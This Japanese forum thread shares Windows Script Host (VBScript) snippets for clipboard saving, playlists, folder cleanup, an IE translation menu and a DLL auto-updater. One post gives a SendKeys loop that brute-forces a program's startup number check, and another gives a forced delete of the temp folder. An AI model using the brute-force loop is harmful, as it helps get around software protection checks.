お前ら、wsh使ってますか？

使いこなせばかなり便利だと思われるWindowsScriptingHost
お前らのwshを教えてください。

関連リンク
http://www.microsoft.com/japan/developer/scripting/windowshost/default.htm

ttp://www.roy.hi-ho.ne.jp/mutaguchi/wsh/
ttp://member.nifty.ne.jp/aya/wsh/

クリップボードの内容をtxt保存するスクリプトがあったら便利

激しく既出

プログラム版逝った方がいいんとちゃう？

>>2
まあこれでも見れ
http://pc.2ch.net/test/read.cgi/win/1006803665/

>>4
やめてくれ

>>2
これではダメなりか？

Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fs
Dim f
Dim file_name

Set Ie = WScript.CreateObject("InternetExplorer.Application")
Ie.Navigate "about:blank"
Set oClip=Ie.Document.parentWindow.clipboardData
sData=oClip.getData("text")
If IsNull(sData) Then sData=""
file_name = InputBox("ファイル名を入力してください")
Set fs = CreateObject("Scripting.FileSystemObject")
set f = fs.CreateTextFile(file_name+".txt", True)

f.Write sData
f.Close

>>5
此れくらいのことでDLソフト使うのはナンセンス

既出だろうけど、
FTP不可の無料HPスペースに自動アップロードするWSH↓
http://isweb36.infoseek.co.jp/computer/autoup/

処理中はPC操作できないってのが笑えるけど(笑)

>>7
便利なのか、そうじゃないのか良く分からん・・・・

クリップボードの一行目を自動でファイル名にするように
出来たら便利かも。

>>9
お前がやれ

>>9
日付もファイル名に入れるようにした。
あと、長すぎるファイル名もいやなんで、適当に詰める処理を
入れた。

Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Set Ie = WScript.CreateObject("InternetExplorer.Application")
Ie.Navigate "about:blank"
Do While Ie.Busy
Wscript.Sleep 10
Loop
Set oClip=Ie.Document.parentWindow.clipboardData
sData=oClip.getData("text")
If IsNull(sData) Or sData="" Then WScript.Quit

sTitle = Left(sData,15)
If InStr(sTitle,vbCrLf)<>0 Then
sTitle = Left(sTitle,InStr(sTitle,vbCrLf))
End If

sFileName = Now & "_" & sTitle
sFileName=FixTitle(sFileName)
sFileName=sFileName & ".txt"

If Not Fs.FileExists(sFileName) Then
Set ts = Fs.CreateTextFile (sFileName)
ts.Write sData
ts.Close
End If

Function FixTitle(title)
tmpstr=Split("\ / : , . ; * ? "" < > |"," ")
FixTitle=title
For Each I In tmpstr
Fixtitle=Replace(FixTitle,I,"-")
Next
End Function

さあて、このWSHスレはいつまで持つかな、っと。

>>11
すげえ、完璧。
つーかwshって使ってる人あんまし居ないのかな

こっちもよろしく
最強のWindows自動化ツール
http://pc.2ch.net/test/read.cgi/win/1007452736/

>>12
居ない。
遅いし面倒だし。
意外だと思うけど>>11みたいなのならC++(with MFC)とかのほうが楽だし速い。
普通にスクリプトとしての使い勝手もperlとかに比べるとｱﾚだし。

>>12
>>1でご紹介いただいてるサイトの管理人をやってますが、
感触として、この2年間で、ちっとは知名度はあがったような。
でも、まだまだI Love Youスクリプトワームによるところが大きい
気がします。

.NETの波が押し寄せ、WSHの土台であるCOMが消えつつある現状では、
WSHもメジャーになる前に消えそうな予感もします。

>>14
WSHが他のツールに勝てる点は、唯一、

・OS標準機能であること

これに尽きるんじゃないかというのが私の結論。

1==11==15

>>9のにファイル名自分で決められるよう
改造してみました。

Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Set Ie = WScript.CreateObject("InternetExplorer.Application")
Ie.Navigate "about:blank"
Do While Ie.Busy
Wscript.Sleep 10
Loop
Set oClip=Ie.Document.parentWindow.clipboardData
sData=oClip.getData("text")
If IsNull(sData) Or sData="" Then WScript.Quit

sTitle = Left(sData,25)
If InStr(sTitle,vbCrLf)<>0 Then
sTitle = Left(sTitle,InStr(sTitle,vbCrLf))
End If

sFileName = InputBox("ファイル名を入力してください",,sTitle)
sFileName=FixTitle(sFileName)
sFileName=sFileName & ".txt"

If Not Fs.FileExists(sFileName) Then
Set ts = Fs.CreateTextFile (sFileName)
ts.Write sData
ts.Close
End If

Function FixTitle(title)
tmpstr=Split("\ / : , . ; * ? "" < > |"," ")
FixTitle=title
For Each I In tmpstr
Fixtitle=Replace(FixTitle,I,"-")
Next
End Function


ダイアログに2〜3行分のテキスト表示できるようにならんのかな…

>>17
ごめん、俺今日始めてwshなるものを知りました…

>>17
ちなみに、私は1さんじゃないっす。

>>19
紹介ありがとー。

>>14
俺もなんとなくそう思ってたんだけど
Perlってインストールするの面倒だし
ちょっとした作業の自動化ならwshでもいいんじゃないかと思ったワケです
MacでApplescriptつかってて
Windowsでも無いかなと見てたらwshなるものがあると知って。
異OS間の互換が無いのは寂しいけど。

>>20
いえいえ、こちらこそ勝手にリンクスマンす

環境変数tmpのディレクトリのファイルを一掃するスクリプトｷﾎﾞﾝﾇ

ネタでも。
Iriaさんに自動でダウンロードしてもらうスクリプト。
指定URLからリンクされてる画像ファイルとアーカイブファイルの
URLをIriaに送ります。

Set Ie = WScript.CreateObject("InternetExplorer.Application")
Set Iria = WScript.CreateObject("Iria.IriaApi")
sURL="適当なURL"

Ie.Navigate sURL
Do While IE.Busy Or IE.ReadyState<>4
WScript.Sleep 100
Loop
Set document=IE.document
Set window=document.ParentWindow
sURLs=sURL & vbCrLf
For Each oSubLink In document.links
sURL=oSubLink.href
sExt=Right(sURL,3)
If sExt="jpg" Or sExt="png" Or sExt="zip" Or sExt="lzh" Then
sURLs=sURLs & sURL & vbCrLf
End If
Next
Iria.AddUrl sUrls,0

>>22
echo y|del %temp%\*.* >nul

>>23
(ﾟдﾟ)ｳﾏｰ

指定ディレクトリ以下のmp3プレイリストファイルを作れるんなら認めるよ･･･

じ、時間を表示するwsh

MsgBox Now

ひ、日付けを表示するwsh

MsgBox Left(Now,10)

>>26
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
sFolder="フォルダ名"
sListFile=sFolder & "\" & "list.m3u"
Set ts=Fs.CreateTextFile(sListFile)
For Each oFile In Fs.GetFolder(sFolder).Files
sExt=LCase(Fs.GetExtensionName(oFile.Name))
If sExt="mp3" Or sExt="wav" Or sExt="wma" Then
ts.WriteLine oFile.Path
End If
Next
ts.Close

>>29
サブディレクトリも含められれば･･･
そんなん出来るのかな？

とりあえずマイドキュメント下のマイミュージックのリストを自動で作って
自動再生させようとしたけどなんかエラーが出るよ

Dim WSHShell,WSHSfolder,strList,strFolder
Set WSHShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Set WSHSfolder = WSHShell.SpecialFolders
sFolder=WSHSfolder("MyDocuments") & "\My Music"
sListFile=sFolder & "\" & "list.m3u"
Set ts=Fs.CreateTextFile(sListFile)
For Each oFile In Fs.GetFolder(sFolder).Files
sExt=LCase(Fs.GetExtensionName(oFile.Name))
If sExt="mp3" Or sExt="wav" Or sExt="wma" Then
ts.WriteLine oFile.Path
End If
Next
ts.Close

WSHShell.Run sListFile

>>30
Dim ts
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
sFolder="フォルダ名"
sListFile="list.m3u"
Set ts=Fs.CreateTextFile(sListFile)
Call MakeList(Fs.GetFolder(sFolder))

ts.Close
MsgBox "終了"

Sub MakeList(Folder)
For Each oFile In Folder.Files
sExt=LCase(Fs.GetExtensionName(oFile.Name))
If sExt="mp3" Or sExt="wav" Or sExt="wma" Then
ts.WriteLine oFile.Path
End If
Next
For Each oSubFolder In Folder.SubFolders
Call MakeList(oSubFolder)
Next
End Sub

>>30
何のエラー?

>>32
最後の行で
エラー：指定されたファイルがありません
コード：80070002
ソース：(null)

>>31
こりゃいける

>>33
WSHShell.Run Chr(34) & sListFile & Chr(34)
でどう?

>>35
いった！thx
なんかかなり便利っすよ。やヴぁい。

ランダムリストとか作れるんだろうか･･･？
さすがに無理かな？

ちょっと工夫すれば色々できそうだね。
俺もがんばってみようかな

>>36
Dim ts,sList
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Randomize
sFolder="フォルダ名"
sListFile="list.m3u"
Call MakeList(Fs.GetFolder(sFolder))
aList=Split(sList,vbCrLf)

For I=0 To UBound(aList)
n=Int(Rnd()*UBound(aList))
m=Int(Rnd()*UBound(aList))
tmp=aList(n)
aList(n)=aList(m)
aList(m)=tmp
Next
sList=Join(aList,vbCrLf)

Set ts=Fs.CreateTextFile(sListFile)
ts.Write sList
ts.Close
MsgBox "終了"

Sub MakeList(Folder)
For Each oFile In Folder.Files
sExt=LCase(Fs.GetExtensionName(oFile.Name))
If sExt="mp3" Or sExt="wav" Or sExt="wma" Then
sList = sList & oFile.Path & vbCrLf
End If
Next
For Each oSubFolder In Folder.SubFolders
Call MakeList(oSubFolder)
Next
End Sub

午前7〜8時の起動時のみ特定のスクリプト実行するとかできるの？
>>38を目覚ましで使えたら(ﾟдﾟ)ｳﾏｰ
タスクスケジューラ使いたくないんで。

(　ﾟ дﾟ)ﾎﾟｶｰﾝ

>>39
Set WSHShell = WScript.CreateObject("WScript.Shell")
If 7<= Hour(Now) And Hour(Now) <=8 Then
WshShell.Run "script.vbs"
End If

これをスタートアップに入れとくとか?

>>42
そうそう！
それっス！！

vbsってお手軽に使うにはタイプ数多すぎるんだよな

>>44

まあ大抵はコピペでいけるし、一回作ってしまえば
あとは面倒なことは何もないし。

あればちょっと便利なスクリプトとして、こんなんどうですか。
私はSendToに入れてます。

'中身のないフォルダの削除
'使い方 wscript.exe delfol.vbs フォルダ1 [フォルダ2...]
'フォルダを指定すると、そのサブフォルダのうち、空のサブフォルダを削除します。

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
iDel=0 : iLeft=0
For Each sArg In WScript.Arguments
If Fs.FolderExists(sArg) Then
For Each oFol In Fs.GetFolder(sArg).SubFolders
If oFol.Files.Count=0 And oFol.SubFolders.Count=0 Then
iDel=iDel+1
oFol.Delete
Else
iLeft=iLeft+1
End If
Next
End If
Next
MsgBox iDel & "個の空フォルダを削除しました。" & vbCrLf & iLeft & "個のフォルダは空ではないです。"

あと、これもSendToに入れてる。
ファイル整理するとき、何となく便利かも。

'吸出しの巻物
'使用法: wscript.exe suidashi.vbs フォルダ名1 [フォルダ名2] ...
'フォルダを指定すると、そのフォルダ内にあるファイルとフォルダを上位フォルダに移動します。
Dim iLeft,iMove,bDel
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
iLeft=0 : iMove=0 : bDel=True
For Each source In WScript.Arguments
If Fs.FolderExists(source) Then
target=Fs.BuildPath(Fs.GetParentFolderName(source),"\")
If Fs.FolderExists(target) Then
Set oTarget=Fs.GetFolder(source)
For Each oFile In oTarget.Files
If Fs.FileExists(Fs.BuildPath(target,oFile.Name)) Then
'すでに存在。移動中止。
iLeft=iLeft+1
Else
oFile.Move target
iMove=iMove+1
End If
Next
For Each oFolder In oTarget.SubFolders
If Fs.FolderExists(Fs.BuildPath(target,oFolder.Name)) Then
'すでに存在。移動中止。
iLeft=iLeft+1
Else
oFolder.Move target
iMove=iMove+1
End If
Next
If bDel=True Then
If oTarget.Files.Count=0 And oTarget.SubFolders.Count=0 Then oTarget.Delete
End If
End If
End If
Next

MsgBox iMove & "個のアイテムを吸い出しました。" & iLeft & "個のアイテムは移動しませんでした。"

wscript.exe suidashi.vbs ってやらなくても
suidashi.vbs実行するだけで使えるんだけどもこの使い方じゃダメなの？

>>47
OK。
というか、DOSプロンプトで使うときの構文でした。
ちなみに、WinNT/2000のコマンドプロンプトなら、
suidashi.vbs フォルダ名
だけでもいけます。

エクスプローラなら、フォルダをsuidashi.vbsにD&D、
もしくはSendToにショートカットを入れて、送るメニュー
からでも実行可能です。

フォルダの右クリックメニューに組み込むなら、

REGEDIT4

[HKEY_CLASSES_ROOT\Directory\shell\suidashi]
@="吸い出し(&Q)"

[HKEY_CLASSES_ROOT\Directory\shell\suidashi\command]
@="wscript.exe C:\\suidashi.vbs \"%1\""

こいつをsuidasi.regとでもして保存して、レジストリに結合させて
やればいいです。

>>18
>>31
>>38
>>45
>>46
とても参考になったよ
でもVisualBasicわからないと作れそうもないや・・
プログラムできる人はうらやましいなぁ

あと>>38ってフォルダのD&Dとか、ｖｂｓファイル置いたカレントフォルダを自動で
取得できるようにできます？

>>49
Dim ts,sList
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Randomize

sListFile=Fs.BuildPath(Fs.GetParentFolderName(WScript.ScriptFullName),"list.m3u" )
'リストファイルをスクリプトがあるフォルダに作成。

For Each sArg In WScript.Arguments '引数として指定したフォルダを処理対象にする。
If Fs.FolderExists(sArg) Then
Call MakeList(Fs.GetFolder(sArg))
End If
Next

aList=Split(sList,vbCrLf)

For I=0 To UBound(aList)
n=Int(Rnd()*UBound(aList))
m=Int(Rnd()*UBound(aList))
tmp=aList(n)
aList(n)=aList(m)
aList(m)=tmp
Next
sList=Join(aList,vbCrLf)

Set ts=Fs.CreateTextFile(sListFile)
ts.Write sList
ts.Close
MsgBox "終了"

続く。

>>50は、>>38の、Sub MakeList(Folder) 以下を継ぎ足せば完成。

それにしても長くなってきたなあ。

>>50
すごいです＞１１氏
リクエストに答えてくれてありがとう。
早速送るに入れて使おうと思う。

それでは、明日もこのスレが生き残っていることを祈りつつ…

便利なスクリプトがあたらぜひ紹介を

漁スレの余寒

WindowsMediaPlayerで、音楽のストリーミング配信を聞いてるんですが、
たまに切断されてしまい、エラーウィンドウがでてしまいます。

自動的に再接続させるようにWSHですることってできないんでしょうか？

*当方、ADSL。ダイヤルアップでの再接続ってことではないので・・。

CraftLaunchスレに、Exciteで英和／和英翻訳してくれるスクリプトがあったよ
CAB圧縮にISH化と手の混んだことしてたけど便利。

>>57
http://pc.2ch.net/test/read.cgi/win/981464983/ ね。

うちとこの掲示板に、外部ツールを使わずExcite翻訳を
呼び出すスクリプトが投稿されてますので、こちらもどうぞ。

Option Explicit

Dim strTranslate, strURL, objIE, strRet

strTranslate = "Windows"
strURL = "http://www.excite.co.jp/world/text/?wb_lp=ENJA&before=" & strTranslate
' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
' リクエストに含めて送信します
' wb_lpに翻訳する言語を設定します
' 英→和ならENJA
' 和→英ならJAENにします

Set objIE = WScript.CreateObject("InternetExplorer.Application","IE_")

With objIE

Call .Navigate2( strURL )
.Visible = False


Do While .Busy Or .ReadyState<>4
Call WScript.Sleep( 100 )
Loop
strRet = strTranslate & "を翻訳すると…" & vbCrLf & .document.World.after.Value


Call .Quit()

End With
Set objIE = Nothing

Call MsgBox( strRet )

>>58
あいかわらずすばらすぃ〜＞11氏

これをうまくIEの右クリックコンテキストに追加できないだろうか・・・
文字列選択で送る・・みたいに

>>59
すんません、これは私が作ったやつじゃないのです。

で、こんなん作ってみました。

まず、↓をtranslate.htmとして保存
<script language="vbscript">
<!--
Set oTextRange = external.menuArguments.document.selection.createRange
strTranslate = oTextRange.text
a=Asc(Left(strTranslate,1))
If 0<= a And a<=255 Then
mode="ENJA"
Else
mode="JAEN"
End If
strURL = "http://www.excite.co.jp/world/text/?wb_lp=" & mode & "&before=" & strTranslate
Set objIE = CreateObject("InternetExplorer.Application")
With objIE
Call .Navigate2( strURL )
.Visible = False
Do While .Busy Or .ReadyState<>4

Loop
strRet = strTranslate & "を翻訳すると…" & vbCrLf & .document.World.after.Value
Call .Quit()
End With
Set objIE = Nothing
window.alert strRet
-->
</script>

↓translate_install.vbsとして、translate.htmと同じフォルダに保存

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")

iMsg = MsgBox("IEのコンテキストメニューに「翻訳」を追加します。" & vbCrLf & "よろしいですか?",vbYesNo)
If iMsg=vbNo Then WScript.Quit

WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\翻訳\",Fs.BuildPath(Fs.GetParentFolderName(WScript.ScriptFullName),"translate.htm"),"REG_SZ"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\翻訳\contexts",&H10,"REG_DWORD"

MsgBox "インストール完了"


↓translate_uninstall.vbsとして、translate.htmと同じフォルダに保存

Set WshShell = WScript.CreateObject("WScript.Shell")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")

iMsg = MsgBox("IEのコンテキストメニュー「翻訳」を削除します。" & vbCrLf & "よろしいですか?",vbYesNo)
If iMsg=vbNo Then WScript.Quit

WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\翻訳\"

MsgBox "アンインストール完了"

translate_install.vbsを実行すると、IEの右クリックメニューに「翻訳」が追加されます。
(IEは一度再起動かけてね)
単語を選択して右クリックしてみてください。
一応、英単語を選択したら和訳、日本語を選択したら英訳します。
かちゅ〜しゃとか、IEコンポなアプリからも呼び出せるので便利っすよ。
いらなくなったら、translate_uninstall.vbsで消えます。

まだ、いろいろ手を加えないと使い物にならないですが。
(とくに翻訳中はフリーズしたみたいになるのが困りモノ。
解決策はあるにはあるが、また今度にします…)

11 氏はちょっと前の WSH スレで最後の方にいろいろ有益な情報を
書いてくれた人？
Sendkeys ネタとか最新ヴァージョン関連とかで。
もしそうなら、あのときスレ立てた者ですが、
レスするタイミング逃したまま沈んじゃった。
どうも、すまんでした。
このスレ、続くといいね。

>>60
>>61
おお。これはっいいっす
ちょっとした翻訳にはすごく便利ですね
ちょっと感動

もしかしてIEのコンテキスト拡張ってこういう要領でどんどん追加できるんでしょうか？

>>63
はい。
http://yasai.2ch.net/win/kako/1002/10026/1002654665.html
の39, 48, 51ですね。(かちゅ〜しゃは、過去スレ探すのも楽でいいね)
WSHスレには大抵書き込んでます。

>>65
です。
姉妹品として、こんなん公開中です。
http://www.roy.hi-ho.ne.jp/mutaguchi/wsh/src/mklink.lzh

>>65
http://www.microsoft.com/japan/support/kb/articles/J041/2/49.asp
を見ると、コンテキストメニュー追加の方法がよくわかります。
Iriaの「Iriaでダウンロード」とかもこれですね。

IEコンテキストメニュー拡張系ツールとしては、Kommixが有名かな。
ttp://hp.vector.co.jp/authors/VA013453/

wsh(vbs)ってソース分割して再利用とかってできないの？

>>68
http://www.microsoft.com/japan/developer/library/script56/wsconSplittingYourScriptsIntoReusabePieces.htm
http://www.microsoft.com/japan/developer/library/script56/wsAdvantagesOfWs.htm

http://www.symantec.com/region/jp/sarcj/win.script.hosting.html

かちゅで翻訳機能はつけられないのですか？

あげ

>>71
11氏が作ってくれた
>>60
>>61
>>62
をやれば文字列を選択した後右クリックで気軽に翻訳ができますよ
ちょっとした翻訳には結構便利ですよ

>>11
>>60
>>61
>>62
>>73
ありがとうございます。

メディアプレーヤーの履歴はスクリプト組んで
削除する様にしました。

11王権神授説

>>66
おお、やはり（＾＾

タスクトレイの任意のアイコンをクリックするような
スクリプトって作れるのかな・・・？

[ツール|Windows Update]みたいに
IE,Explorerのツールメニューに項目追加ってどうやるの？

>>79
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extensions\

>>61 のスクリプトを、ノートンアンチウィルスがインストールされてる環境で
実行すると、「悪意のあるスクリプト」という警告が出て停止した。鬱出氏脳。

Const URL="http://kage.monazilla.org/wsock32.dll"
Const DLLName="wsock32.dll"
Const adTypeBinary = 1
Const adSaveCreateNotExist = 1
Const adSaveCreateOverWrite = 2

Set HTTP = WScript.CreateObject("Microsoft.XMLHTTP")
Set Stream = WScript.CreateObject("Adodb.Stream")
Set Fs = WScript.CreateObject("Scripting.FileSystemObject")
Set Shell = WScript.CreateObject("Shell.Application")

Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True

For Each Process In GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_Process where Name='Katjusha.exe'")
Set oProcess = Process
sEXEPath=oProcess.ExecutablePath
Next
If IsEmpty(oProcess) Then
MsgBox "かちゅ〜しゃが起動されていません!"
WScript.Quit
End If

sRoot = Fs.GetParentFolderName(sEXEPath)
sDLLPath = Fs.BuildPath(sRoot,DLLName)
If Fs.FileExists(sDLLPath) Then
dDateLastModified=Fs.GetFIle(sDLLPath).DateLastModified
iMsg=MsgBox ("現在、ksock32.dll ver" & Fs.GetFileVersion(sDLLPath) & "(最終更新日時: " & CStr(dDateLastModified) & ")がインストールされています。" & vbCrLf & _
"最新バージョンをチェックしますか?",vbYesNo)
If iMsg=vbNo Then WScript.Quit

HTTP.Open "HEAD", URL, False
HTTP.Send
regEx.Pattern = "\nLast-Modified\: .{3}, (\d{1,}) (.{3}) (\d{4}) (\d{1,})\:(\d{1,})\:(\d{1,}) .{3}\r\n"
Set Matches = regEx.Execute(HTTP.getAllResponseHeaders)
For Each Match in Matches
Set Subs = Match.SubMatches
dServerDateLastModified=CDate(Subs(2) & "/" & GetMonthNumber(Subs(1)) & "/" & Subs(0) & " " & Subs(3) & ":" & Subs(4) & ":" & Subs(5))
Next

If DateDiff ("s",dServerDateLastModified,dDateLastModified) < 0 Then
iMsg=MsgBox ("ksock32.dllは更新されているようです。ダウンロードしてインストールしますか?",vbYesNo)
Else
iMsg=MsgBox ("ksock32.dllは更新されていないようです。それでもダウンロードしてインストールしますか?",vbYesNo)
End If
Else
iMsg=MsgBox ("ksock32.dllをダウンロードしてインストールしますか?",vbYesNo)
End If

If iMsg=vbNo Then WScript.Quit

iMsg=MsgBox ("かちゅ〜しゃをいったん終了させます。" & vbCrLf & _
"OKをクリックすると自動的に終了しますが、手動で終了しても構いません。",vbOKCancel)

If iMsg=vbOK Then
For Each Process In GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_Process where Name='Katjusha.exe'")
Process.Terminate
Next
Else
WScript.Quit
End If

iMsg=MsgBox ("ksock32.dllのダウンロードを開始します。" & vbCrLf & _
"次にダイアログが表示されるまでは、かちゅ〜しゃを起動しないでください。",vbOkCancel)
If iMsg=vbCancel Then WScript.Quit

HTTP.Open "GET", URL, False
HTTP.Send

Stream.Type = adTypeBinary
Stream.Open
Stream.Write HTTP.responseBody
Stream.SaveToFile sDLLPath, adSaveCreateOverWrite

Shell.NameSpace(sDLLPath).ParentFolder.ParseName(Shell.NameSpace(sDLLPath).Title).ModifyDate=dServerDateLastModified

MsgBox "ksock32.dll ver" & Fs.GetFileVersion(sDLLPath) & "(" & CStr(dServerDateLastModified) & "版)のインストールが終了しました。" & vbCrLf & _
"かちゅ〜しゃを再起動します。"

GetObject("winmgmts:{impersonationLevel=impersonate}").Get("Win32_Process").Create sEXEPath,null,null,processid

Function GetMonthNumber(MonthName)
Select Case MonthName
Case "Jan" GetMonthNumber="01"
Case "Feb" GetMonthNumber="02"
Case "Mar" GetMonthNumber="03"
Case "Apr" GetMonthNumber="04"
Case "May" GetMonthNumber="05"
Case "Jun" GetMonthNumber="06"
Case "Jul" GetMonthNumber="07"
Case "Aug" GetMonthNumber="08"
Case "Sep" GetMonthNumber="09"
Case "Oct" GetMonthNumber="10"
Case "Nov" GetMonthNumber="11"
Case "Dec" GetMonthNumber="12"
End Select
End Function

>>82-85
ksock32.dll自動ダウンロードスクリプトです。
Win2000専用。

実行すると、サーバー上にあるksock32.dllの更新日時を調べ、
更新されていたらダウンロードしてインストールします。
実行する際は、かちゅ〜しゃを起動しといてください。
(このスクリプトは、ksock32.dllインストールのとき、かちゅ〜しゃを
終了して再起動をかけるとこまで自動的にやってくれます。)

ksock32.dllが何か、については、かちゅ〜しゃスレでも見てください。

このスクリプトのテーマは、OS標準搭載のオブジェクトをいかに多く
使うか、です。

連続投稿ｽﾏｿ。

>>86
いやはや、これは(･∀･)ｲｲ!!ですね
タスクスケジューラと組み合わせたらかなり便利かもしれないですね＞WSH

>>78
Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.SendKeys "^{ESC}{ESC}" 'スタートメニューを表示して閉じる
WScript.Sleep 100
WshShell.SendKeys "+{TAB}" 'フォーカスをデスクトップに移動
WScript.Sleep 100
WshShell.SendKeys "+{TAB}" 'フォーカスをタスクトレイに移動
WScript.Sleep 100
WshShell.SendKeys "{RIGHT 3}" 'タスクトレイの左から4個目のアイコンをアクティブに
WScript.Sleep 100
WshShell.SendKeys "+{F10}" 'アイコン右クリック
WScript.Sleep 100
WshShell.SendKeys "I" 'アクセスキー I のメニュー項目を実行

これは、タスクトレイの左から4個目のアイコンを右クリックし、
アクセスキーが I になってるメニュー項目を実行する、という
スクリプトですが…。
Win2000専用である上に、タスクバーが標準配置である必要があり、
タスクトレイアイコンの位置は、普通、固定ではないし、
タイミングの関係でうまくいかないこともあります。
まあ、あまり実用性はないですね。

>>81
ノートンってそうなんだよお。
おれも、たいしたことやってない WSH で警告出され、嫌な気分になった。
ユーザーが意図的に実行してるっちゅうねん。

>>88
Winキーを押しながらTABとか出来ないですかねー？？
Win+TAB TAB TAB でメニューを出さずにフォーカス移動できる。

>>90
以前、そういうことも考えたことがあるんですが、どうもSendKeysで
Windowsキーを送ることはできないらしい…。

そのことの検証用スクリプト↓
http://groups.google.com/groups?as_umsgid=%3C8k2312%24p6n%[email protected]%3E%23&as_scoring=d

>>91
そうなのか… なるほど。
ところでtraypseってXPで使えなくないですか？
これはどうやってタスクトレイの情報を取得してるんだろうか…？

っていうか、あんたたち、
VBスクリプトじゃなくてJスクリプトを使いなさいよ〜

JScript使ってる好き者はいないのか！？

電源オプションの電源設定
「自宅または会社のデスク」などから一発で
別の設定に変更できるスクリプト希望。

>>93-94
前スレには JScript で、しかも CScript.EXE 用のスクリプトがありましたよ。
てか、どっちでもいいんじゃない？　読みやすくて、動けば。

VBScript きらい

シリアルチェックを力ずくで突破するスクリプトなんかも作れるんじゃない？

起動時乱数入力を突破するコードのサンプル

Dim fileObj, n
Set fileObj = WScript.CreateObject("WScript.Shell")
fileObj.Run "c:\**********exe"
WScript.Sleep 7000 '起動するまでの待ち時間
For n=100 To 999 Step 1
fileObj.SendKeys n
fileObj.SendKeys "{ENTER}"
WScript.Sleep 1
fileObj.SendKeys "{ENTER}"
fileObj.SendKeys "{BS}"
fileObj.SendKeys "{BS}"
fileObj.SendKeys "{BS}"
Next

力ずく過ぎ。

wsh使うのは、wshじゃないとやりづらい処理だけだ。
じゃなきゃ、VCとか、VBとか、Delphiとか、Perlとか使ってる。

100Get (w
リンク紹介でもします。

1で紹介されてませんでしたが、WSHのポータルとも
言えるページはここ。
http://www.asia.microsoft.com/japan/developer/scripting/default.asp

本体のDLはここから。最新版のWSH5.6をインストールしておこう。
http://download.microsoft.com/download/winscript56/Install/5.6/W98NT42KMe/JA/scriptjp.exe (W2k用)
http://download.microsoft.com/download/winscript56/Install/5.6/W98NT42KMe/JA/scr56jp.exe (それ以外)

ちなみに、WSH5.6で追加された機能。
http://www.asia.microsoft.com/japan/developer/workshop/languages/clinic/scripting11132000.asp

まずはこのヘルプを落とさないと始まらない。
http://download.microsoft.com/download/winscript56/Install/5.6/W98NT42KMe/JA/scd56jp.exe

WindowsXPには、コマンドラインツールとして、VBSファイルが
結構あるみたいですね。
http://www.atmarkit.co.jp/fwin2k/xp_feature/013commandtool/commandtool.html

XPで追加・強化された、スクリプト関係の機能についてはこちら。
http://content.communities.msn.com/WindowsScript/windowsxp.msnw

Web WorkShop Japan。Microsoftのインターネット関係の技術に関する
記事がいろいろあります。もちろんスクリプト関係の項目もあり。
http://www.asia.microsoft.com/japan/developer/workshop/default.asp

microsoft.public.scripting.wshというニュースグループでは、濃い情報が
やりとりされてます。WSH開発者も頻繁に登場。
http://groups.google.com/groups?hl=ja&group=microsoft.public.scripting.wsh

レベルの高いTipsとかあり。
http://communities.msn.com/windowsscript

使用言語に関して。まあ、好き嫌いはあると思うけど、好きなのを使えば
いいと思われ。
VBSもJScriptも嫌いな人は、PerlScriptとかPythonScriptとかActiveScriptRubyを
使ってみてはいかが?
http://www.activestate.com/Products/Download/Get.plex?id=ActivePerl
http://www.activestate.com/Products/Download/Get.plex?id=ActivePython
ttp://www.geocities.co.jp/SiliconValley-PaloAlto/9251/ruby/index.html

複数言語を*同時に*使えるという利点を生かしてやるのもいいでしょう。
やり方は、>>69のリンクを参照。

適材適所な言語を使うという考え方は、
.NETのCommon Language Runtime (CLR)に受け継がれていますよね。

便利リンク集age

空白を含むパス（\Program Filesなど）にあるプログラムを実行させるには
どうすればよいのでしょうか。
Runさせようとしても「ファイルが見つからない」というエラーが出てしまいます。

”←これでパスを囲む

>>104
Dim WShell
Set WShell = CreateObject("WScript.Shell")
WShell.Run "C:\Program Files\hoge.exe"
こういうこと？
これでダメだったんだけど。

>>103
C:\Progra~1\hoge.exe

>>105
WShell.Run """C:\Program Files\hoge.exe"""

>>107
ありがとう！

kage.exeのバージョンアップで、>>82-85のスクリプトは無意味になってしまったなあ。

>>107
そんなふうに沢山で囲めばよかったのですか。。。
私はショートカットをつくってそれを呼び出してましたよ(w

>>110
沢山ってゆーか、VB(Script)だと""が"なの。
Cとかの\"ね。

>>111
こんな大事なことがヘルプに載ってないんだから、どうしようもないな。
そもそも、WshShell.Runでスペースを含むパスがそのまま
渡せないこと自体が謎なんだが。

>>111
そうなのですか。。。VBに限らずプログラムは全然知らないんです。失礼しました。
ところでプログラムを実行する時にウィンドウを最大化して起動する方法はありますか？
これまたよくわからないのでショートカットでやってます(鬱

>>113
引数で指定できる
http://www.microsoft.com/japan/developer/library/script56/wsMthRun.htm

>>114
ガ━━━(ﾟДﾟ;)━━━ン！
昔そういうの見てやってけどわからなったんですよねー。
と思いつつもよく見たら数字だけでよかったのですね。
説明書の読み方を勉強するところからでなおしてきます。。。

クリップボード内の文字列を取得できないかな

microsoft.XMLHTTPを使ってダウンロードするときの質問なんですけど
referを設定することってできるんでしょうか？

>>117
私、あんまりHTTPのこと知らないんですが、
setRequestHeader(bstrHeader As String, bstrValue As String)
っつーメソッドがあるみたいなので、
HTTP.RequestHeader "Referer","URL"
とかしてやればいいんじゃないでしょうか。

>>116
過去レス見れ。

>>118
あ、setが抜けてた。

